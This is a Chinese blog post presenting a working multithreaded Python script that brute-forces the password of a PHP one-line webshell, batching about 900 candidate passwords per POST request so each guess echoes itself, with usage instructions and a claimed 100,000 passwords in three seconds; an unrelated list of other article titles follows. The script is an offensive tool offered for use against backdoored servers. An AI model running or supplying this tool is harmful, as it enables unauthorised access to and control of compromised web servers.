一句话爆破速度提升一千倍python脚本
这个脚本是接地提供的思路,一句话爆破速度提升一千倍,看了他的帖子然而没有看到工具,思路很牛逼,我提供一个Python脚本
本地测试了下,十万密码只需要3秒,速度还是可以的
# coding:utf-8
# __author__ : learn
import threading,Queue,requests
class Add_password:
def __init__(self,dictname,queue):
self.dictname = dictname
self.queue = queue
# 加载字典 以\n分割 保存到list
def load_file(self):
with open(self.dictname,'r') as f:
lines = f.readlines()
return map(lambda x:x.split('\n')[0],lines)
#========================
'''分割数量大于 900 密码数量的字典算法
因为apache 最多传入1000个参数。 如果 密码数量大于900 就分割字典
'''
def split_file(self):
file_read = self.load_file()
file_list = []
if len(file_read) < 900:
file_list.append(file_read)
elif len(file_read)%900 !=0 and len(file_read)/900 >= 1:
split_num = len(file_read)
for num in range(split_num/900-1):
file_list.append(file_read[num*900:num*900+900])
file_list.append(file_read[split_num/900*900:])
return file_list
# 主要的部分 用来生成payload 加入队列
# 待post参数的格式为 {"pass":"echo 'pass';","pass2":"echo 'pass2';",...}
def main(self):
php_passwords = self.split_file()
for q in php_passwords:
payloads = [x for x in q]
payload = map(lambda x:{x:"echo '%s';"%x},payloads)
payload = reduce(lambda x,y:dict(x,**y),payload)
self.queue.put(payload)
return
class Main(threading.Thread):
def __init__(self,url,queue):
threading.Thread.__init__(self)
self.url = url
self.queue = queue
self.payloads = {}
def run(self):
while True:
if self.queue.empty():
break
data = self.queue.get_nowait()
req = requests.post(self.url,data=data)
#这里我判断的是 post之后的页面有没有echo的值 导致脚本局限性很大。
if req.content != '':
print 'Password Found: '+req.content
exit(0)
if __name__ == '__main__':
import sys
threads = []
q = Queue.Queue(maxsize=0)
args = sys.argv
if len(args)<3 or args[1][:4]!='http' or args[2][-3:] != 'txt':
print 'usage: python %s [url]http://www.xxx.com/shell[/url],php password.txt'%args[0]
sys.exit(0)
Add_password(args[2],q).main()
for i in range(15):#这里可以适当的修改,速度会提高
threads.append(Main(args[1],q))
for t in threads:
t.start()
for j in threads:
j.join()
一句话爆破速度提升一千倍python脚本的更多相关文章
- 更快的Maven来了,我的天,速度提升了8倍!
周末被 maven-mvnd 刷屏了,于是我也下载了一个 mvnd 体验了一把.虽然测试的数据都是基于我本地项目,不具备普适性和权威性,但也足以说明问题.它的测试结果远远超出我的预期,下面一起来看. ...
- numba,让python速度提升百倍
python由于它动态解释性语言的特性,跑起代码来相比java.c++要慢很多,尤其在做科学计算的时候,十亿百亿级别的运算,让python的这种劣势更加凸显. 办法永远比困难多,numba就是解决py ...
- 有史以来性价比最高最让人感动的一次数据库&SQL优化(DB & SQL TUNING)——半小时性能提升千倍
昨天,一个客户现场人员急急忙忙打电话找我,说需要帮忙调优系统,因为经常给他们干活,所以,也就没多说什么,先了解情况,据他们说,就是他们的系统最近才出现了明显的反应迟钝问题,他们的那个系统我很了解,软硬 ...
- 修改一行SQL代码 性能提升了N倍
在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用EXPLAN ANALY ...
- 修改一行SQL代码 性能提升了100倍
在PostgreSQL中修改了一行不明显的代码,把(ANY(ARRAY[...]) 改成 ANY(VALUES(...))),结果查询时间从20s变为0.2s.最初我们学习使用 EXPLAN ANAL ...
- 深深感受 Promise.all 带来的速度提升
什么是Promise Promise 是异步编程的一种解决方案,比传统的解决方案——回调函数和事件——更合理和更强大.(摘抄自 阮一峰老师的 ECMAScript 6 入门).具体请查看阮一峰老师的这 ...
- python之提速千倍爆破一句话
看了一下冰河大佬写的文章特别有感:https://bbs.ichunqiu.com/thread-16952-1-1.html 简单描述一下: 利用传统的单数据提交模式. 比如下面这个一句话木马: & ...
- 使用Apache Spark 对 mysql 调优 查询速度提升10倍以上
在这篇文章中我们将讨论如何利用 Apache Spark 来提升 MySQL 的查询性能. 介绍 在我的前一篇文章Apache Spark with MySQL 中介绍了如何利用 Apache Spa ...
- 如何将 iOS 工程打包速度提升十倍以上
如何将 iOS 工程打包速度提升十倍以上 过慢的编译速度有非常明显的副作用.一方面,程序员在等待打包的过程中可能会分心,比如刷刷朋友圈,看条新闻等等.这种认知上下文的切换会带来很多隐形的时间浪费. ...
随机推荐
- Revit如何模型导入到InfraWorks中
Infraworks也就是以前的Autodesk Infrastructure Modeler(AIM)作为一款优秀的概念设计软件,能接收来自各种来源的数据,这篇介绍如何把revit中的建筑模型导入到 ...
- android fragment 的用法以及与activity的交互和保存数据的方法,包括屏幕切换(转载)!
转载请标明出处:http://blog.csdn.net/lmj623565791/article/details/37992017 1.管理Fragment回退栈 类似与Android系统为Acti ...
- [读书笔记] Head First 设计模式
OO基础 抽象 封装 多态 继承 OO原则 原则 描述 封装变化 找出应用中可能需要变化之处,把它们独立出来,不要和那些不需要变化的代码混合在一起. 把会变化的部分取出来并“封装”起来,好让其他部分不 ...
- eclipse如何优化构建的速度(Building)
小Alan在平时的开发中很喜欢做一件事,那就是盯着eclipse的状态栏,看着Build Workspace的进度条一点一点慢慢的走,小Alan坐在电脑面前默默不想说话,就是心中总是有十万匹马在奔腾, ...
- thinkphp 创建子应用
1 根目录建立 文件名 a 2 a 下建立index.php define('APP_NAME', 'a');define('APP_PATH', './a');define('RUNTIME_PAT ...
- 敏捷软件开发(4)--- TEMPLATE METHOD & STRATEGY 模式
1.TEMPLATE METHOD 泛型,也就是这个模式,是可以基于泛型的. 我们往往会有一些算法,比如排序算法.它的算法部分,我可以把它放在一个基类里面,这样具体类型的比较可以放在子类里面. 看如下 ...
- Getting Started with ASP.NET Web API 2 (C#)
By Mike Wasson|last updated May 28, 2015 7556 of 8454 people found this helpful Print Download Com ...
- linux 学习随笔-group和user管理
1:/etc/passwd 打开该文件,可以看到每一行内容被分割成了7个字段比如:root:x:0:0:root:/root:/bin/bash 第一个字段表示用户名为root用户 第二个字段存放了该 ...
- vim添加Vundle插件
1.git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim 2.vim /etc/vimrc se ...
- Java并发之工具类 ForkJoin 任务分解
Fork/Join框架的介绍 第一步分割任务.首先我们需要有一个fork类来把大任务分割成子任务,有可能子任务还是很大,所以还需要不停的分割,直到分割出的子任务足够小. 第二步执行任务并合并结果.分割 ...